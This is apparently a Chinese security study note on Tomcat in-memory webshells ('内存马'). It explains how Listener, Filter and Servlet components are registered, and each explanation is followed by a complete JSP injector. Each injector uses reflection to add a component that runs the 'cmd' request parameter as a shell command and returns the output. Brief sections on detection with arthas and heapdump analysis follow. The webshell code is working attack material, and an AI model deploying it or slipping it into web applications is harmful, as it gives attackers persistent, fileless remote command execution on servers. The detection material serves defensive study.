前置知识
参考:https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/ (filter)
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/ (filter)
https://xz.aliyun.com/t/11988?time__1311=mqmx0DBG0QYiqYKDsKoeCwx7qrMW8q74D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-0 (总的)
https://www.freebuf.com/articles/web/274466.html (tomcat的web组件介绍)
分析的时候也是云里雾里的,因此只了解了大概过程,和为什么这样,
搭建Servlet环境:
https://blog.csdn.net/gaoqingliang521/article/details/108677301
这里导入的时候需要导入tomcat下lib的所有包,
客户端发起web请求会依次经过:Listener->Filter->Servlet三个组件,
内存马类型:
1.servlet-api型
通过命令执行动态注册一个新的Listener或者Filter或者Servlet
2.字节码增强型
通过java的instrumentation动态修改已有代码
spring类,controller型,agent型等等
servlet内存马,
一个context对应多个wrapper,wrapper包装servlet,
因此我们需要新建servlet,然后用wrapper去包装,最后将wrapper添加到context的children中,
filter内存马,
ApplicationContextFacade封装了ApplicationContext,
tomcat的ServletContext的实现类为ApplicationContext,
ApplicationContext中封装了StandardContext,
FilterDefs就是由ApplicationFilterConfigContext的构造函数来定义的,ApplicationFilterConfigContext会生成FilterConfigs,
FilterDefs:FilterDef数组,存放过滤器名,过滤器实列,
FilterConfigs:FilterConfig数组,存放FilterDef和Filter对象,
FilterMaps:FilterMap数组,存放了FilterName 和 对应的URLPattern
以上三个参数组合后能实现与web.xml相同的作用,
如下:
2617行,filterstart函数中,filterDefs的存在两个filterDef,一个是系统自带的,一个是我们自定义的selfFilter,
2626行,使用ApplicationFilterConfig类去生成filterConfig,这里的参数,正是filterDef,
2627行,将filterconfig传入个filterconfigs数组,
filterDefs被filterconfigs包含,
实现filter内存马:
创建恶意类,
使用FilterDef对filter进行封装,
将FilterDef放入FilterDefs,将FilterDefs放入FilterConfigs中,
创建新的FilterMap将url和filter,然后添加到FilterMaps中,
最终循环FilterMaps,如果相应的filter名在FilterConfigs中,则去执行相应Filter的dofilter函数,
在servlet环境中,request对象实际为RequestFacade对象,它的request属性存储着Request对象,
Request对象的getcontext函数能拿到Context,
分析listener
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>org.example.SelfFilter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<listener>
<listener-class>org.example.SelfListen</listener-class>
</listener>
</web-app>
SelfLinsten.java
package org.example;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class SelfListen implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println("destroy Listener!");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("initial Listener!");
}
}
每次请求时,都会去创建监听器和销毁监听器,
在requestInitialized打断点,
这里的listen由3720行的getApplicationEventListeners()函数获取的,
获取的时standardcontext的applicationEventListenersList,
使用 addApplicationEventListener函数添加applicationEventListenersList,
因此我们需要自定义监听器,
然后通过 addApplicationEventListener去添加监听器,getApplicationEventListeners()函数就会去获取监听器,然后运行监听器的requestInitialized和requestDestroyed函数,
listener型内存马
新建我们的listen内存马,
CmdListen.jsp
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
//获取standardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse resp = request1.getResponse();
if (req.getParameter("cmd") != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
resp.getWriter().write(out);
resp.getWriter().flush();
}catch (IOException ioe){
ioe.printStackTrace();
}
}
}
};
standardContext.addApplicationEventListener(listener);
out.println("inject done!");
out.flush();
%>
访问http://localhost:8080/servlet/listen_ma.jsp,成功注入,
访问一次jsp,就会添加一个listen,因此只要访问网站,不需要特点的url,都能命令执行成功,
排查listener型内存马
sc *.Servlet,
jad org.apache.jsp.listen_005fma_jsp,反编译文件,发现了内存马,或者heapdump后进行关键字分析,
这个工具和filter是一样的,不过这个脚本kill我们的listen内存马失败,
分析filter
在此下断点,
此时使用filterChain.doFilter调用到我们自定义的filter,
这里我们需要了解filterlChains是怎么来的,
在createFilterChain函数上打断点,
在createFilterChain函数中,
先从context获取filterMaps,
这里可以利用addFilterMapBefore函数增加filtermap,
61行使用filterMaps中的数据去匹配filter的信息(filter名和作用的URL),与context中的filterconfigs匹配,
匹配成功则将filtermaps中的数据转换成filterconfig,然后加入到filterChain中,
之后再判断一下servlet,然后就返回了filterChains,
因此,我们需要获取context,然后利用addFilterMapBefore加入filterMap ,
可以利用FilterMap设置(设置url和filter名),
再添加context中的filterconfig,增加一个filter名,才能与context中的filterMaps匹配成功,
因此我们需要找filterMap是怎么产生的,
58行定义了filterMap,使用ApplicationFilterConfig类产生的,
不过传入的参数还要filterDef,那么我们也可以利用filterDef类去设置,
filter型内存马
编写一个servlet,
TestServlet.java
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("servlet");
}
}
自定义filter,
SelfFilter.java
package org.example;
import javax.servlet.*;
import java.io.IOException;
public class SelfFilter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("SelfFilter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("SelfFilter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
在web.xml中给/TestServletl路由添加org.example.SelfFilter,
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>org.example.SelfFilter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
这样我们访问/TestServletl时就会执行我们自定义的filter,
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20240617213820-dc512e8c-2cae-1.png)
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20240617213832-e39737cc-2cae-1.png)
内存马,servlet_ma.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
//获取ApplicationContext(ServletContext),
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
//获取ApplicationContext中的StandardContext,
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
//获取ServletContext,
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//获取StandardContext,
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
};
//设置FilterDef,
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("cmdFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
//利用ApplicationFilterConfig传入filterDef设置filterConfig,
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//设置filterConfigs,存放filterConfig,
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("cmdFilter", filterConfig);
//设置filterMap(设置拦截的filter和路由)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("cmdFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Inject done");
%>
访问http://localhost:8080/servlet/servlet_ma.jsp,内存马注入成功,
可以看到,此时我们自定义的filter也执行了,
排查filter型内存马
使用arthas
开启arthas,java -jar arthas-boot.jar
mbean | grep "name=/",查看servlet,
(这里如果是favicon.ico,或者一些稀奇古怪的如/111,就可能是内存马)
sc *.Servlet,白色可能是存在可疑的Servlet,
classloader,白色可能是存在可疑的class类,
sc *.Filter,查看FIlter,
jad org.apache.jsp.servlet_005fma_jsp$1,反编译此类,这类正是我们的filter内存马,
还可以heapdump内存,使用strings分析,
查找关键词,strings ./heapdump2024-01-27-15-006356159708872130713.hprof | grep "GET "
可以看到,这里传递的恶意参数正是我们的内存马,
查找我们访问的可疑路径,
strings ./heapdump2024-01-27-15-006356159708872130713.hprof | grep -E "/servlet.*?!" | sort -u
使用java-memshell-scanner
https://github.com/c0ny1/java-memshell-scanner
生成的内存马,
分析servlet
分析servlet
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>org.example.SelfFilter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<listener>
<listener-class>org.example.SelfListen</listener-class>
</listener>
<servlet>
<servlet-name>SelServlet</servlet-name>
<servlet-class>org.example.SelfServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>SelServlet</servlet-name>
<url-pattern>/self_servlet</url-pattern>
</servlet-mapping>
</web-app>
SelfServlet.java
package org.example;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class SelfServlet extends HttpServlet {
@Override
public void init() throws ServletException {
System.out.println("servlet has been init!!!");
}
@Override
public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
PrintWriter out = res.getWriter();
out.println("Servlet");
}
@Override
public void destroy() {
System.out.println("servlet has been destory!!!");
super.destroy();
}
}
这里访问http://localhost:8080/servlet/self_servlet ,就新增成功,
在init函数中打断点,
service为我们定义的servlet,
可以发现service由this.servletClass实列化的,
此函数可以更改this.servletClass,
再往上是wrapper调用的allocate,wrapper包装了我们定义的servlet,
那么我们又需要明白wrapper是怎么构造的,从wrapper的值可以知道,是StandardWrapper类,
之后在setServletClass函数中打断点,
发现是this.context.createWrapper()创造的warpper,
最终再使用addchild函数放入context中,
那么创建servlet内存马,
需要获取context,
然后通过createWrapper()函数去新建wrapper,
然后去设置servlet的相关属性,
之后再使用addchild添加到contetxt中,
在此处断点,
在servlet中,我们还需要重写service函数,需要在service函数中构造恶意的数据,
因为这样每次请求servlet都能接收我们的命令,this.service为我们自定义的servlet,
然后在setServlet函数打断点,
最终发现,servlet正是由wrapper来,
servlet型内存马
servlet_ma.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
class S implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
// ServletContext servletContext = request.getServletContext();
// Field appctx = servletContext.getClass().getDeclaredField("context");
// appctx.setAccessible(true);
// ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// Field stdctx = applicationContext.getClass().getDeclaredField("context");
// stdctx.setAccessible(true);
// StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 更简单的方法 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
S servlet = new S();
String name = servlet.getClass().getSimpleName();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/servletmama", name);
out.println("inject success");
%>
排查servlet型内存马
和之前的都是类似的,就不举例了。